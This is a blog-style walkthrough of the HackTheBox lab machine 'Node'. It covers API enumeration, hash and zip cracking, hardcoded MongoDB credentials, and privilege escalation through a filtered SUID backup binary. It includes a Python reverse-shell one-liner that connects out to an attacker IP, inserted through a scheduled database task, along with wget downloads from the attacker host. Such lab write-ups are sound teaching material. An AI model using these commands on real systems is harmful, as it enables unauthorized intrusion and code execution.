HackTheBox: Node — Walkthrough

Sanaullah Aman Korai
9 min readJul 1, 2023

--

Node is about enumerating a Express NodeJS application to find an API endpoint that shares too much data., including user password hashes. To root the box, there’s a simple return to libc buffer overflow exploit. I had some fun finding three other ways to get the root flag, as well as one that didn’t work out.

Recon

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 07:59 EDT
Nmap scan report for 10.10.10.58
Host is up (0.44s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
| hadoop-datanode-info:
|_ Logs: /login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.35 seconds

Nmap Scan show that there is only one port opened in my case 3000 so let’s enumerate that.

I have ran gobuster on it but it didn’t worked tried other tools for directory fuzzing but no luck. So I have decided to look at the source code.

Found interesting directories after looking all these, I found assests/js/app/controllers/home.js was interesting one.

var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});

After getting this info I looked at api/users and found usernames and their corresponding hashes.

curl -s 10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

So I cracked these hashes all hashes were cracked except one.

Tried to login with myP14ceAdm1nAcc0uNT:manchester and I got in.

Click on the Download Backup button to download the file. Run the following command to determine the file type.

root@kali:~/Desktop/htb/node# file myplace.backup 
myplace.backup: ASCII text, with very long lines, with no line terminators
It contains ASCII text. Let’s view the first few characters of the file.

root@kali:~/Desktop/htb/node# head -c100 myplace.backup
UEsDBAoAAAAAAHtvI0sAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADyfyrWYAyC151eAsAAQQAAAAABAAAAABQ
This looks like base64 encoding. Let’s try and decode the file.

cat myplace.backup | base64 --decode > myplace-decoded.backup
Now view the file type.

root@kali:~/Desktop/htb/node# file myplace-decoded.backup
myplace-decoded.backup: Zip archive data, at least v1.0 to extract
It’s a zip file! Let’s try and decompress it.

root@kali:~/Desktop/htb/node# unzip myplace-decoded.backup
Archive: myplace-decoded.backup
[myplace-decoded.backup] var/www/myplace/package-lock.json password:
It requires a password. Run a password cracker on the file.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup
-u: try to decompress the first file by calling unzip with the guessed password
-D: select dictionary mode
-p: password file
It cracks the password!

PASSWORD FOUND!!!!: pw == magicword
Unzip the file using the above password.

unzip -P magicword myplace-decoded.backup
Now it’s a matter of going through the files to see if there are hard coded credentials, exploitable vulnerabilities, use of vulnerable dependencies, etc.

While reviewing the files, you’ll see hard coded mongodb credentials in the app.js file.

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
We found a username ‘mark’ and a password ‘5AYRft73VtFpc84k’ to connect to mongodb locally. We also see a backup_key which we’re not sure where it’s used, but we’ll make note of it.

Initial Foothold

Most user’s reuse passwords, so let’s use the password we found to SSH into mark’s account.

ssh mark@10.10.10.58

It worked! Let’s locate the user.txt flag and view it’s contents.

mark@node:~$ locate user.txt
/home/tom/user.txt
mark@node:~$ cat /home/tom/user.txt
cat: /home/tom/user.txt: Permission denied
We need to either escalate our privileges to tom or root in order to view the flag.

Let’s transfer the LinEnum script from our attack machine to the target machine.

In the attack machine, start up a server in the same directory that the script resides in.

python -m SimpleHTTPServer 5555

In the target machine, move to the /tmp directory where we have write privileges and download the LinEnum script.

cd /tmp

wget http://10.10.14.12:5555/LinEnum.sh

Give it execute privileges.

chmod +x LinEnum.sh

Run the script.

./LinEnum.sh

Below are the important snippets of the script output that will allow us to escalate privileges to tom.

### NETWORKING  ##########################################
.....
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
.....
### SERVICES #############################################
[-] Running processes:USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
.....
tom 1196 0.0 7.3 1028640 56072 ? Ssl 03:44 0:06 /usr/bin/node /var/www/myplace/app.js
mongodb 1198 0.5 11.6 281956 87956 ? Ssl 03:44 2:43 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom 1199 0.0 5.9 1074616 45264 ? Ssl 03:44 0:07 /usr/bin/node /var/scheduler/app.js

The networking section tells us that mongodb is listening locally on port 27017. We can connect to it because we found hardcoded credentials in the app.js file. The services section tells us that there is a process compiling the app.js file that is being run by Tom. Since we are trying to escalate our privileges to Toms’, let’s investigate this file.

mark@node:/tmp$ ls -la /var/scheduler/
total 28
drwxr-xr-x 3 root root 4096 Sep 3 2017 .
drwxr-xr-x 15 root root 4096 Sep 3 2017 ..
-rw-rw-r-- 1 root root 910 Sep 3 2017 app.js
drwxr-xr-x 19 root root 4096 Sep 3 2017 node_modules
-rw-rw-r-- 1 root root 176 Sep 3 2017 package.json
-rw-r--r-- 1 root root 4709 Sep 3 2017 package-lock.json
We only have permissions to read the file, so we can’t simply include a reverse shell in there. Let’s view the file, maybe we can exploit it in another way.

const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});

If you’re like me and you’re not too familiar with the mongodb structure, then this diagram might help.

We login using mark’s credentials and access the scheduler database. The set interval function seems to be checking for documents (equivalent to rows) in the tasks collection (equivalent to tables). For each document it executes the cmd field. Since we do have access to the database, we can add a document that contains a reverse shell as the cmd value to escalate privileges.

Let’s connect to the database.

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
-u: username
-p: password
host:port/db: connection string
Let’s run a few commands to learn more about the database.

# Lists the database name
> db
scheduler
# Shows all the tables in the database - equivalent to 'show tables'
> show collections
tasks
# List content in tasks table - equivalent to 'select * from tasks'
> db.tasks.find()
The tasks collection does not contain any documents. Let’s add one that sends a reverse shell back to our attack machine.

# insert document that contains a reverse shell
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.12\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
# double check that the document got added properly.
db.tasks.find()
Set up a listener to receive the reverse shell.

nc -nlvp 1234

Wait for the scheduled task to run.

We get a shell! Let’s upgrade it to a better shell.

python -c 'import pty; pty.spawn("/bin/bash")'

Background the shell CTRL + Z and then stty raw -echo; fg

Now get the user flag.

To grab the root.txt flag, we need to escalate our privileges to root.

Privilege Escalation

First, print the real and effective user and group IDs of the user.

tom@node:/tmp$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
Second, review the LinEnum script for any info/files that are either associated to Tom’s id or groups that he is in.

After sifting through all the output from the script, we notice the following file which has the SUID bit set.

[-] SUID files:
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup

Since the SUID bit is set for this file, it will execute with the level of privilege that matches the user who owns the file. In this case, the file is owned by root, so the file will execute with root privileges. From the previous command that we ran, we know that Tom is in the group 1002 (admin) and therefore can read and execute this file.

We did see this file getting called in the app.js script.

....
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
....
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
proc.stdout.on("data", function(chunk) {
backup += chunk;
});
proc.stdout.on("end", function() {
});
}
else {
res.send({
authenticated: false
});
}
});

The file takes in three arguments:

The string ‘-q’

A backup key which is passed at the beginning of the script

A directory path

Let’s try running the file with the above arguments.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp

We get a base64 decoded string. Based on the output of the program, I’m going to go out on a limb and say that it’s backing up the directory path that is passed as an argument.

To verify that, run the command again and save it in file test, then base64 decode that file.

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp > test
tom@node:/tmp$ cat test | base64 --decode > test-decoded
tom@node:/tmp$ file test-decoded
test-decoded: Zip archive data, at least v1.0 to extract
tom@node:/tmp$ unzip test-decoded
Archive: test-decoded
creating: tmp/
creating: tmp/systemd-private-668dc95e5f5945b897532b0ae5e207b1-systemd-timesyncd.service-CwnioT/
creating: tmp/systemd-private-668dc95e5f5945b897532b0ae5e207b1-systemd-timesyncd.service-CwnioT/tmp/
[test-decoded] tmp/test password:
extracting: tmp/test
creating: tmp/.Test-unix/
inflating: tmp/LinEnum.sh
creating: tmp/.XIM-unix/
creating: tmp/vmware-root/
creating: tmp/.X11-unix/
creating: tmp/.ICE-unix/
creating: tmp/.font-unix/
inflating: tmp/pspy64

When decompressing the file, we use the same password we cracked earlier.

Alright, let’s pass the root.txt file path as an argument to the backup program.

Something in the backup file is intentionally preventing us from getting the root flag. Let’s run the ltrace program to see what system commands are getting called when we run the backup program.

ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /../../etc > test
We get back the following result.

strstr("/tmp", "..") = nil
strstr("/tmp", "/root") = nil
strchr("/tmp", ';') = nil
strchr("/tmp", '&') = nil
strchr("/tmp", '`') = nil
strchr("/tmp", '$') = nil
strchr("/tmp", '|') = nil
strstr("/tmp", "//") = nil
strcmp("/tmp", "/") = 1
strstr("/tmp", "/etc") = nil
strcpy(0xff98a1ab, "/tmp") = 0xff98a1ab

Let’s look up what the functions do.

strstr: returns pointer to first occurrence of str2 in str1

strchr: returns pointer to first occurrence of char in str1

strcmp: returns 0 if str1 is same as str2

As can be seen, the program is filtering the directory path string. If we include any of the strings enclosed in the strchr or strstr function as a directory path, we end up with a troll face. Similarly, if the directory path is a single “/”, we also get a troll face. So we’re allowed to use a backslash as long as it’s included as a string with other characters.

Note: There are several methods we can use apply on the backup program in order to escalate privileges. I initially solved it using method 1 & method 2, however, after I watched ippsec’s video, I found out there were other ways to escalate privileges (methods 3, 4 & 5).

Method 1 — Using Wildcards

The * character is not filtered in the program, therefore we can use it to make a backup of the root directory.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root

Then use the same method to base64 decode and compress the file to view the flag.

There are 2 more methods mentioned by IppSec have look there :)

--

--

Sanaullah Aman Korai
Sanaullah Aman Korai

No responses yet